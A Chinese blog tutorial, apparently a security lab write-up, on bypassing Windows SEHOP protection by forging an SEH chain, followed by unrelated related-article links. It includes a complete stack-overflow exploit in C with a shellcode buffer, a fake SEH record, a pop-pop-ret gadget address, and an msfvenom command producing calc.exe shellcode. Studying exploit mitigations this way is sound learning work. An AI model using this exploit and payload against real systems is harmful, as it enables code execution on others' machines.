1.1    SEHOP保护机制

1.1.1    SEHOP工作原理:

SEHOP保护机制的核心就是检查SEH链的完整性,其验证代码如下:

BOOL RtlIsValidHandler(handler)

{

if (handler is in an image) {

if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)

return FALSE;

if (image has a SafeSEH table)

if (handler found in the table)

return TRUE;

else

return FALSE;

if (image is a .NET assembly with the ILonly flag set)

return FALSE;

// fall through

}

if (handler is on a non-executable page) {

if (ExecuteDispatchEnable bit set in the process flags)

return TRUE;

else

// enforce DEP even if we have no hardware NX

raise ACCESS_VIOLATION;

}

if (handler is not in an image) {

if (ImageDispatchEnable bit set in the process flags)

return TRUE;

else

return FALSE; // don't allow handlers outside of images

}

// everything else is allowed

return TRUE;

}

[...]

// Skip the chain validation if the

DisableExceptionChainValidation bit is set

if (process_flags & 0x40 == 0) {

// Skip the validation if there are no SEH records on the

// linked list

if (record != 0xFFFFFFFF) {

// Walk the SEH linked list

do {

// The record must be on the stack

if (record < stack_bottom || record > stack_top)

goto corruption;

// The end of the record must be on the stack

if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)

goto corruption;

// The record must be 4 byte aligned

if ((record & 3) != 0)

goto corruption;

handler = record->handler;

// The handler must not be on the stack

if (handler >= stack_bottom && handler < stack_top)

goto corruption;

record = record->next;

} while (record != 0xFFFFFFFF);

// End of chain reached

// Is bit 9 set in the TEB->SameTebFlags field?

// This bit is set in ntdll!RtlInitializeExceptionChain,

// which registers FinalExceptionHandler as an SEH handler

// when a new thread starts.

if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {

// The final handler must be ntdll!FinalExceptionHandler

if (handler != &FinalExceptionHandler)

goto corruption;

}

}

}

在程序转入异常处理前,SEHOP会检查SEH链上最后一个异常处理函数是否为系统固定的终极异常处理函数,如果是,则说明这条SEH链没有被破坏,程序可以去执行道歉的异常处理函数,如果检测到最后一个异常处理函数不是终极异常处理函数,那说明SHE链被破坏,程序将不会执行当前的异常处理函数。

1.1.2    SEHOP绕过思路:

作为SafeSEH强有力的补充,SEHOP检查是在RtlIsVaildHandler函数校验前进行的,也就是说之前我们绕过SafeSEH机制用到过的利用加载模块之外的地址,堆地址和未启用SafeSEH模块的方法都行不通了。

那么面对新的挑战,应该怎么办?

l  攻击返回地址或者虚函数

l  利用未启用SEHOP的模块

l  伪造SHE链

1.1.3    通过伪造SEHOP链绕过SEHOP保护机制

⑴.  原理分析:

SEHOP的原理就是检测SEH链中最后一个异常处理函数的指针是否指向一个固定的终极异常处理函数,那么,我们在在溢出是伪造一个SEH链,就可以绕过SEHOP了。

⑵.环境准备:

i.实验代码:

生成没有SafeSEH保护的dll文件的代码。

#include "stdafx.h"

BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)

{

return TRUE;

}

void jump()

{

__asm{

pop eax

pop eax

retn

}

}

生成没有ASLR和DEP保护的exe文件。

#include "stdafx.h"

#include <string.h>

#include <windows.h>

char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x2c\xFF\x12\x00"//address of last seh record

"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"

"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"

"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"

"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"

"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"

"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"

"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"

"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"

"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"

"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"

"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

"\x90\x90\x90"

"\xFF\xFF\xFF\xFF"// the fake seh record

"\x95\xe1\xbd\x77"

;

DWORD MyException(void)

{

printf("There is an exception");

getchar();

return 1;

}

void test(char * input)

{

char str[200];

//strcpy(str,input);

memcpy(str,input,460);

int zero=0;

__try

{

zero=1/zero;

}

__except(MyException())

{

}

}

int _tmain(int argc, _TCHAR* argv[])

{

HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module

char str[200];

//__asm int 3

test(shellcode);

return 0;

}

ii.测试环境:

测试平台:Windows 7 32位

注册表设置DisableExceptionChainVaildation值为0。

开启SEHOP保护机制。

编译环境:

编译器:visual 2008

exe文件:

关闭ASLR,DEP。

Dll文件:

不开启任何的保护机制。

⑶.调试分析:

i.查看缓冲区溢出前的SEH链:

得到,第一个异常处理函数指针为0x0012fe58,最终SEH链异常处理函数值为0x77bde195。

ii.确定缓冲区大小:

缓冲区从0x0012fd80开始,大小为0xd8=216字节。

iii.跳板地址:

还是用之前的OllyFindAddr插件,得到PPR跳板地址:0x11121012

⑷.攻击过程:

i.计算溢出量:

我们的目的是用跳板地址覆盖函数返回地址以达到控制EIP的目的,是程序挑战到payload执行。

为什么不直接用payload的起始地址覆盖返回地址?

因为,exe文件的异常处理函数是有SafeSEH保护机制保护的,直接覆盖会报错的。而dll文件没有SafeSEH机制的保护,所以可以利用dll文件中的指令作为跳板,控制EIP。

溢出量 =异常处理函数指针–缓冲区起始地址= 0x0012fe58-0x0012fd80=216字节。

ii.伪造SEH链

为了绕过SEHOP保护机制,就应该伪造一个最终的异常处理函数,这个最终的异常处理函数应该符合以下要求:

l  伪造最终异常处理函数指针应该与真实的相同(0x77bde195)

l  伪造最终异常处理函数指针前4字节(SEH链指针)应为0xFFFFFFFF

l  SEH链指针地址应该能被4整除(SEHOP工作原理中介绍的验证函数中可以看到相关的判断)。

iii.生成payload

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

iv.构造shellcode

综上所述,shellcode结构如下:

v.执行攻击

成功。

内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制的更多相关文章

  1. 内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR

    ASLR保护机制 ASLR简介 微软在Windows Vista.2008 server.Windows 7.Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像 ...

  2. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  3. Swift - 二进制,八进制,十六机制的表示方法

    当前位置: 首页 > 编程社区 > Swift > Swift - 二进制,八进制,十六机制的表示方法 Swift - 二进制,八进制,十六机制的表示方法 2015-01-23 14 ...

  4. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  5. 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH

    利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴.  原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...

  6. 逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试

    GS简介: Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断 ...

  7. UAC 实现原理及绕过方法-打洞专用

    首页 新随笔 订阅 管理 随笔 - 7  文章 - 0  评论 - 0 UAC 实现原理及绕过方法   目录 0x01 UAC 实现方法(用户登陆过程)0x02 UAC 架构0x03 触发UAC0x0 ...

  8. UAC 实现原理及绕过方法

    目录 0x00 UAC 工作流程 0x01 UAC 实现方法(用户登陆过程) 0x02 UAC 架构 0x03 触发UAC 0x04 UAC 虚拟化 0x05 UAC 逆向分析 1x00 UAC By ...

  9. Linux保护机制和绕过方式

    Linux保护机制和绕过方式 CANNARY(栈保护) ​ 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...

随机推荐

  1. DOM—节点

    节点的相关属性 1.nodeType:节点类型.返回的是一个数字,这个数字代表节点类型,只读. 节点类型: 1 — 元素类型:元素节点(标签) 节点类型: 2 — 元素类型:属性节点 节点类型: 3 ...

  2. 乐观锁的一种实现方式——CAS

    在java里面,synchronized关键字就是一种悲观锁,因为在加上锁之后,只有当前线程可以操作变量,其他线程只有等待. CAS操作是一种乐观锁,它假设数据不会产生冲突,而是在提交的时候再进行版本 ...

  3. python3 驱动 PyMySQL

    Python版本: 3.5.0 MySqlDB官网只支持Python3.4,  使用第三方库PyMysql连接Mysql数据库. https://pypi.python.org/pypi/PyMySQ ...

  4. IPMI的几个问题

    IPMI针对大量监控.控制和自动回复服务器的作业,提供了智能型的管理方式.此标准适用于不同的服务器拓朴学,以及Windows.Linux. Solaris.Mac或是混合型的操作系统.此外,由于IPM ...

  5. tab标签 插件 by 腾讯 jianminlu

    /** * @version 0.1 * @author jianminlu * @update 2013-06-19 15:23 */ (function ($) { /** * @name tab ...

  6. java语言学习笔记1

    最近也在春节的节假日里,总是会有各种各样的事情出现,没有很完整的时间来学习java以及其他方面的知识. 从昨天开始有了完整的学习体系,我去娄老师推荐的极客学院网站开始学习java语言的语法.在假期之初 ...

  7. 【前端】display: box布局教程 [转]

    css display:box 新属性   一.display:box; 在元素上设置该属性,可使其子代排列在同一水平上,类似display:inline-block;. 二.可在其子代设置如下属性 ...

  8. 使用commons-pool2改造APNs连接池

    最近公司很多人反应apns推送的消息很慢,有时候需要5.6分钟才收到消息,我检查了下日志发现确实存在这个问题. 我们使用的是 https://github.com/relayrides/pushy 这 ...

  9. 两个常见tomcat警告分析

    1. 警告描述: [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'source' to 'org.e ...

  10. 配置servlet支持文件上传

    Servlet3.0为Servlet添加了multipart配置选项,并为HttpServletRequest添加了getPart和getParts方法获取上传文件.为了使Servlet支付文件上传需 ...